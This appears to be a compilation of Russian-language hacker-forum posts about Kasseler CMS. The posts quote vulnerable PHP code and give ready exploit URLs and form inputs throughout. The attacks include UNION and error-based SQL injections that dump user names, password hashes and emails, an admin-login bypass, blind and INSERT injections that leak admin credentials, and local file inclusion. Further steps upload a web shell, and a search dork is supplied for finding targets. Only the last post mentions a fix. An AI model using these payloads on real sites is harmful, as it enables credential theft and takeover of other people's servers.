Офф.сайт: www.kasseler-cms.net Префикс таблиц бд: kasseler_ Default hash: md5($pass) Админка: http://localhost/admin.php От автора: какая тут к чёрту безопасность [SQL inj в модуле новостей News] Сценарий /modules/News/index.php уязвимый код: PHP: } $num = isset($_GET['num']) ? intval($_GET['num']) : "1"; $offset = ($num-1) * $config['view_limit']; $sort = (@$_GET['do']!="Popular") ? "n.date" : "n.view"; $where = (@$_GET['do']=="Category") ? "AND n.cid=".@$_GET['cid']." OR c.subid=".$_GET['cid']."" : ""; $sorttopage = (@$_GET['do']=="Category" || @$_GET['do']=="Popular") ? "&do=".$_GET['do']."" : ""; $sorttopage = (@$_GET['do']=="Category") ? $sorttopage."&cid=".$_GET['cid'] : $sorttopage; $result = $db->sql_query("SELECT n.comment, n.view, n.nid, n.title, n.beginning, n.content, n.author, n.date, n.cid, n.status, n.rating, n.voted, c.cid, c.title, c.module, c.description, c.image, c.subid FROM ".$prefix."_news AS n LEFT JOIN ".$prefix."_categories AS c ON (n.cid=c.cid) WHERE n.status='1' $where ORDER BY $sort ".$config['msort']." LIMIT $offset, ".$config['view_limit'].""); if ($db->sql_numrows($result)==0){ inform("<center>"._NONEWS."</center>"); } .... $result = $db->sql_query("SELECT n.view, n.nid, n.title, n.beginning, n.content, n.author, n.date, n.cid, n.status, n.rating, n.voted, c.cid, c.title, c.module, c.description, c.image, c.subid, u.user_name FROM ".$prefix."_news AS n LEFT JOIN ".$prefix."_categories AS c ON (n.cid=c.cid) LEFT JOIN ".$prefix."_users AS u ON (u.user_name=n.author) WHERE n.nid='".$_GET['nid']."' && n.status='1' ORDER BY n.date ".$config['msort'].""); .... $db->sql_query("DELETE FROM ".$prefix."_news WHERE nid='".$_GET['nid']."'"); Недостаточная обработка данных в параметре nid. Таким образом мы можем произвести запрос к бд(SQL-Inj) что бы получить нужную нам информацию. Условие: magic_quotes_gpc = Off Эксплойт: Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=News&do=View&nid=1'+and+1=2+union+select+1,2,concat_ws(0x3a,user_name,user_password,user_email),4,user(),version(),7,8,9,10,11,12,database(),14,15,16,17,18+from+kasseler_users+where+uid=1/* [SQL inj в модуле опросов Voting] Сценарий /modules/Voting/index.php уязвимый код: PHP: <div><br />[ <a href=\"index.php?module=$module_name&do=Result&vid=".$_GET['vid']."\">"._VOTERESULT."</a> | <a .... $result = $db->sql_query("SELECT vid, title, vote_case, vote_ip, vote_users, pubdate, vote_res FROM ".$prefix."_voting WHERE vid='".$_GET['vid']."'"); баг оналогичен предыдущему. Условие: magic_quotes_gpc = Off Эксплойт: Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=Voting&do=Result&vid=1'+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,user(),6,version(),8,9,10,11,12,13,14,15+from+kasseler_users+where+uid=1/* [SQL inj в модуле форума на сайте Forum] Сценарий /modules/Forum/index.php уязвимый код: PHP: show_forums("<a class=\"forumlink\" href=\"index.php?module=$module_name&do=ShowForum&fid=$fforum_id\">" .... liste = list_page_forum($count_topics, $numpages, $forum['topic_views_num'], "index.php?module=$module_name&do=ShowForum&fid=".$_GET['fid']."&page"); Условие: magic_quotes_gpc = Off Эксплойт: Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=Forum&do=ShowForum&fid=1'+union+select+1,2,3,concat_ws(0x3a,user_name,user_password,user_email),5,user(),database(),8,9,10,11,version(),13,14,15+from+kasseler_users+where+uid=1/* Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=Forum&do=ShowTopic&tid=706'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,user(),9,10,11,version(),13,14,15,16,17,18+from+kasseler_users+where+uid=1/* [SQL inj в модуле профиля пользователя Account] Сценарий /modules/Account/index.php уязвимый код: PHP: $result=$db->sql_query("SELECT u.rating, u.voted, u.user_last_visit, u.uid, u.user_name, u.user_email, u.user_website, u.user_avatar, u.user_regdate, u.user_icq, u.user_aim, u.user_yim, u.user_msnm, u.user_last_ip, u.user_birthday, u.user_gender, u.locality, u.signature, u.interests, u.occupation, u.viewemail, u.viewip, u.user_group, g.gid, g.title, g.color, g.img FROM ".$prefix."_users AS u LEFT JOIN ".$prefix."_groups AS g ON(g.gid=u.user_group) WHERE user_name='".$_GET['uname']."' AND u.user_name<>'Guest'"); Условие: magic_quotes_gpc = Off Эксплойт: Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=Account&do=UserInfo&uname=dok'+union+select+1,2,3,4,concat_ws(0x3a,user_name,user_password,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+kasseler_users+where+uid=1/* Сценарий /index.php Условие: magic_quotes_gpc = Off уязвимый код: PHP: if (@$module_title=="" || !isset($module_title)) list($module_title, $blocks_view) = $db->sql_fetchrow($db->sql_query("SELECT custom_title, blocks FROM ".$prefix."_modules WHERE title='$module_name'")); Code: http://localhost/[B][COLOR=Orange][installdir][/COLOR][/B]/index.php?module=1'+and+1=2+union+select+1,concat_ws(0x3a,user_name,user_password,user_email),3,4,5+from+kasseler_users+where+uid=1/* Заливка шелла: Заходим в админку (http://localhost/admin.php)-> Файловый менеджер -> Каталог: uploads/avatars/ -> загрузка файлов shell.php. Шелл будет тут: http://localhost/uploads/avatars/shell.php Поиск: Web site engine code is Copyright ©2007-2008 by Kasseler CMS. All rights reserved. http://milw0rm.com/exploits/6460 (c) ~!Dok_tOR!~
name: kasseler cms 1.3.x lite download: http://www.kasseler-cms.net/files/more/kasseler_cms_1.3.x_lite.html 1) LFI (требования: mq=off) file: admin.php PHP: if (isset($_GET['adm'])){ ob_start(); if (file_exists("".$admindirect."/modules/".$_GET['adm'].".php")){ include("".$admindirect."/modules/".$_GET['adm'].".php"); $amodule = ob_get_contents(); ob_end_clean(); } else if (file_exists("modules/".$_GET['adm']."/Admin/index.php")){ if (file_exists("modules/".$_GET['adm']."/language/language.".$language.".php"))include("modules/".$_GET['adm']."/language/language.".$language.".php"); include("modules/".$_GET['adm']."/Admin/index.php"); $amodule = ob_get_contents(); ob_end_clean(); } else { open_table(); echo "<center>"._ERRORLOADMODULE."</center>"; close_table(); $amodule = ob_get_contents(); ob_end_clean(); } $template->set_tpl('$edit_content', "<div id=\"modules_conteiner\">".$amodule."</div>"); } result: Code: /admin.php?do=LogIn&adm=../[file]%00 2) blind sql injection (требования: mq=off,любой акк) file: /modules/account/pm.php PHP: //Проверяем выделенные объекты if(isset($_POST['selected']) AND is_array($_POST['selected'])) //Перебираем массив выделенных сообщений foreach($_POST['selected'] as $value){ //Выполняем запрос для получения данных о сообщении $result = $main->db->sql_query("SELECT p.mid, p.tid, p.subj, p.user, p.user_from, p.date, p.pm_read, p.status, p.type, t.tid, t.text, u.uid, u.user_id, u.user_name, fr.uid AS from_uid, fr.user_id AS from_user_id, fr.user_name FROM ".PM." AS p LEFT JOIN ".PM_TEXT." AS t ON(p.tid=t.tid) LEFT JOIN ".USERS." AS u ON(u.user_name=p.user) LEFT JOIN ".USERS." AS fr ON(p.user_from=fr.user_name) WHERE p.mid='{$value}' OR p.mid='{$value}+1' OR p.mid='{$value}-1' AND (p.user='{$main->user['user_name']}' OR p.user_from='{$main->user['user_name']}')"); result: Регаем акк. Отправляем сами себе ПМ. Заходим в /index.php?module=Forum&do=Outbox . (для дальнейшей работы потребуется temper date) Выделяем свое сообщение,включаем перехват и жмякаем Отправить. Далее изменяем значение переменной selected на свой sql запрос. Если запрос выполнится,то сообщение перенесётся в Сохраненные. Геморно,конечно,но работает.. //много файлов,не все еще посмотрел.. //скули с поста доктора прикрыли
SQL Inject Kasseler 2.0.5 Продукт: Kasseler CMS Версия: 2.0.5 lite SQL-Injection Условия: magic_quotes = Off Модуль Авторизации \admin.php Недостаточна фильтрация $_POST['login'], таким образом можно подменить результаты запроса и получить админские куки В поле логин "login' union select 'login','d56b699830e77ba53855679cb1d252da',2 /*" В поле пароль "login" Уязвимый участок кода в \administrator\login.php PHP: if(!isset($_SESSION['admin'])){ if(isset($_POST['login'])){ //Поиск пользователя $result = $main->db->sql_query("SELECT user_name, user_password, user_level FROM ".USERS." WHERE user_name='{$_POST['login']}'"); if($main->db->sql_numrows($result)>0){ $info = $main->db->sql_fetchrow($result); //Проверка пароля и права администрирования if($info['user_password']==pass_crypt($_POST['password']) AND $info['user_level']>0) { //Создание сессии администратора $_SESSION['admin'] = $main->user['user_name']; setcookies($_POST['login'].",".$info['user_password'], $main->config['admin_cookies']); if(!is_user()){ //Если не создана сессия пользователя то создаем ее setcookies($_POST['login'].",".$info['user_password'], $main->config['user_cookies']); //Обновляем информацию о пользователе $main->db->sql_query("UPDATE ".USERS." SET user_last_os='".kr_filter($main->agent['os'], TAGS)."', user_last_browser='".kr_filter($main->agent['browser'], TAGS)."', user_last_ip='{$main->ip}', user_last_visit=NOW() WHERE user_name='{$_POST['login']}'"); //Регистрируем сессию $session->register($_POST['login']); } redirect($adminfile); } } } зы возможно присутствует и в ранних версиях
Продолжение... Продукт: Kasseler CMS Версия: 2.0.5 lite Недостаток в том что файл admin.php надо искать! В рекомендациях по установке указано что такая строчка 'adminfile' => 'admin.php' Также есть SQL inj в модуле: Account – Модуль профиль пользователя в части представления который всегда доступен! Условие: mg=off линк: Code: http://site/index.php?module=account&do=login includes/function/kernel.php Алгоритм хеша - md5 и никакой соли! PHP: ... function pass_crypt($string){ return md5($string); }... Result: Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3' поле логин: ' or (1,2)=(select * from(select name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1),name_const((select concat_ws(':',user_name,user_password) from kasseler_users limit 1,1),1))x)/* пасс: любой По умолчанию 2 запись в таблице это запись админа,1- гостя, далее в зависимости какими правами наделен пользователь! Посмотреть версию (для текущей!): http://site/index.php?system=version LFI includes/function/init.php PHP: ...//Фильтрация GET массива if(!$main->mod_rewrite AND !isset($_GET['mod_rewrite'])){ foreach($_GET as $name=>$value){ if(!is_array($value)){ if(preg_match('/(\.\.\/|[\'"]|<|>|\(+)/s', $value)) kr_http_ereor_logs("403"); $_GET[$name] = strip_tags($value); } }... index.php PHP: ...} elseif(kr_file_exists("blocks/{$_GET['blockfile']}")) require_once "blocks/{$_GET['blockfile']}";... includes/function/xining.php PHP: ... function kr_file_exists($file){ return file_exists($file); }... Result: http://kasseler/index.php?blockfile=[LFI] Example: http://kasseler/index.php?blockfile=..\robots.txt Условие: OS WIN , "\" Пути, они есть и у других файлах: передаем куками: lang= them= на вторую переменную код не привожу! include/function/init.php PHP: ...//Определение языкового файла get_language(); //Подключение графических элементов систем (isset($main->tpl) AND kr_file_exists("templates/{$main->tpl}/{$language}/images.php")) ? require_once "templates/{$main->tpl}/{$language}/images.php" : require_once "includes/language/{$language}/images.php";... include/function/gets.php PHP: ...function get_language(){ global $config, $userinfo, $language, $module_name, $lang; $lang = array(); if(isset($_COOKIE['lang']) AND kr_file_exists("includes/language/{$_COOKIE['lang']}/")) $language = $_COOKIE['lang']; else $language = empty($userinfo['user_language']) ? $config['language'] : $userinfo['user_language']; foreach(load_includes('lang*?\.php', "includes/language/{$language}/") as $filename) { $tpl_lang = $lang; require_once $filename; $lang += $tpl_lang; }... Вот такая(если загнать ../../../): У кого получиться експлутировать LFI - пишите, тестил но не получилось!
Тесты проводились на Kasseler CMS 2.0.5 Дорк: "by Kasseler CMS. All rights reserved" Обычно при подстановки где-либо кавычек "'", выпадает 403 ошибка, потому лучше использовать без зависимостей. Уязвимость: Sqli Sources files => categories.php, admin.php Need: Admin rights PHP: function edit_categories($msg=""){ global $main, $adminfile; if(!empty($msg)) warning($msg); $result = $main->db->sql_fetchrow($main->db->sql_query("SELECT *, substr(tree,1,length(tree)-2) as parent FROM ".CAT." WHERE cid={$_GET['id']}")); ... Экспплуатация: admin.php GET => module=categories&do=edit&id=-1 union select 1,2,table_name,4,5,6,7,8 from information_schema.tables--+ Уязвимость: Inject INSERT Sources files => posting.php, Need: - PHP: ... if($_GET['do']=='sendnewtopic') $msg .= ($timeout>time() AND !is_support()) ? str_replace('{TIME}', time2string($timeout-time()), $main->lang['timeoutpost']) : ""; if(empty($msg)){ $_topic = array( 'forum_id' => $topic['forum_id'], 'topic_title' => substr($_POST['title'], 0, 149), 'topic_desc' => $_POST['desc'], 'topic_poster' => $main->user['uid'], 'topic_time' => date("U", strtotime(kr_date("Y-m-d H:i:s"))), 'topic_poster_name' => $main->user['user_name'], 'ico' => $_POST['ico'], 'topic_views' => '0', 'topic_type' => empty($_POST['type'])?"0":$_POST['type'] ); if($_GET['do']=='sendnewtopic'){ //Создаем новую тему sql_insert($_topic, TOPICS); //Узнаем сгенерированный ID темы list($topic_id) = $main->db->sql_fetchrow($main->db->sql_query("SELECT topic_id FROM ".TOPICS." WHERE topic_poster='{$main->user['uid']}' ORDER BY topic_id DESC LIMIT 1")); //Создаем первое сообщение темы sql_insert(array( 'topic_id' => $topic_id, 'forum_id' => $topic['forum_id'], 'poster_id' => $main->user['uid'], 'post_time' => date("U", strtotime(kr_date("Y-m-d H:i:s"))), 'poster_ip' => $ip, 'post_subject' => substr($_POST['title'], 0, 149), 'post_text' => bb($_POST['message']), 'poster_name' => $main->user['user_name'], 'ico' => magic_quotes($_POST['ico']) ), POSTS); add_points($main->points['forum_topic']); //Узнаем сгенерированный ID сообщения list($post_id) = $main->db->sql_fetchrow($main->db->sql_query("SELECT post_id FROM ".POSTS." WHERE topic_id='{$topic_id}' AND poster_id='{$main->user['uid']}' ORDER BY post_id DESC LIMIT 1")); //Обновляем информацию о теме $main->db->sql_query("UPDATE ".TOPICS." SET topic_first_post_id='{$post_id}', topic_last_post_id='{$post_id}' WHERE topic_id='{$topic_id}'"); //Обновляем информацию о форуме $main->db->sql_query("UPDATE ".FORUMS." SET forum_posts=forum_posts+1, forum_topics=forum_topics+1, forum_last_post_id='{$post_id}' WHERE forum_id='{$id}'"); ... /index.php?module=forum&do=sendnewtopic&id=2 POST title=\\&desc=, (select group_concat(user_name,0x3a,user_password) from k_users where user_level=2), 1, 4, 4, 0, 0, 0)#&message=, 5555555, 55, 1)#&type=0&ico=&uploaddir=uploads%2Fforum%2Ffiledata-admin%2F&update_upload_options=true&x=83&y=19 Первый разпрос мы заканчиваем через GET desc => "desc=, (inject), 1, 4, 4, 0, 0, 0)#"; PHP: INSERT INTO `k_forum_topics` (`forum_id`, `topic_title`, `topic_desc`, `topic_poster`, `topic_time`, `topic_poster_name`, `ico`, `topic_views`, `topic_type`) VALUES ('2', '\', ', (select group_concat(user_name,0x3a,user_password) from k_users where user_level=2), 1, 4, 4, 0, 0, 0)#', '1', '1282220945', 'admin', '', '0', '0'); Второй запрос мы заканчиваем через GET message => ", 5555555, 55, 1)#"; PHP: INSERT INTO `k_forum_posts` (`topic_id`, `forum_id`, `poster_id`, `post_time`, `poster_ip`, `post_subject`, `post_text`, `poster_name`, `ico`) VALUES ('62', '2', '1', '1282220982', 'sdsdsdsd', '\', ', 5555555, 55, 1)#', 'admin', ''); В "message" мы вписуем для того, чтобы выполнились UPDATE запросы после второго INSERT'a, и то что мы тут накалякали, отобразилось в созданном топике. Если второй INSERT == false, то наш встроенный "select" запрос будет виден только в базе, но на форуме такой темы создано не будет. Вообщем на выходе получаем все админ аккаунты и их пароли. Уязвимость: Inject INSERT Sources files => posting.php, Need: - PHP: ... if(empty($msg)){ if($_GET['do']=='sendnewpost'){ //Создаем новое сообщение $new_post_id = sql_insert(array( 'topic_id' => $topic['topic_id'], 'forum_id' => $topic['forum_id'], 'poster_id' => $main->user['uid'], 'post_time' => date("U", strtotime(kr_date("Y-m-d H:i:s"))), 'poster_ip' => $ip, 'post_subject' => !empty($_POST['title'])?substr($_POST['title'], 0, 149):addslashes(substr("Re: {$topic['topic_title']}", 0, 149)), 'post_text' => bb($_POST['message']), 'poster_name' => $main->user['user_name'], 'ico' => magic_quotes($_POST['ico']) ), POSTS); ... Экспплуатация: index.php?module=forum&do=showtopic&id=[id] Создаем сообщение на форуме: Заголовок сообщения => "\"; Текст сообщения => ", (select group_concat(user_name,0x3a,user_password) from k_users where user_level=2), 55555, 333)#"; PHP: INSERT INTO `k_forum_posts` (`topic_id`, `forum_id`, `poster_id`, `post_time`, `poster_ip`, `post_subject`, `post_text`, `poster_name`, `ico`) VALUES ('65', '2', '1', '1282224667', '127.0.0.1', '\', ', (select group_concat(user_name,0x3a,user_password) from k_users where user_level=2), 55555, 333)#', 'admin', ''); (с)v1d0q
Продукт: Kasseler CMS Версия: 2.0.5 Сливаем БД Возможность создания резервной копии БД содержится в продукте по умолчанию. Далеко не на всех сайтах отключена такая возможность. файл: backup.php Пути решения проблемы: 1) Удалить файл 2) Ограничить доступ к файлу с помощью .htaccess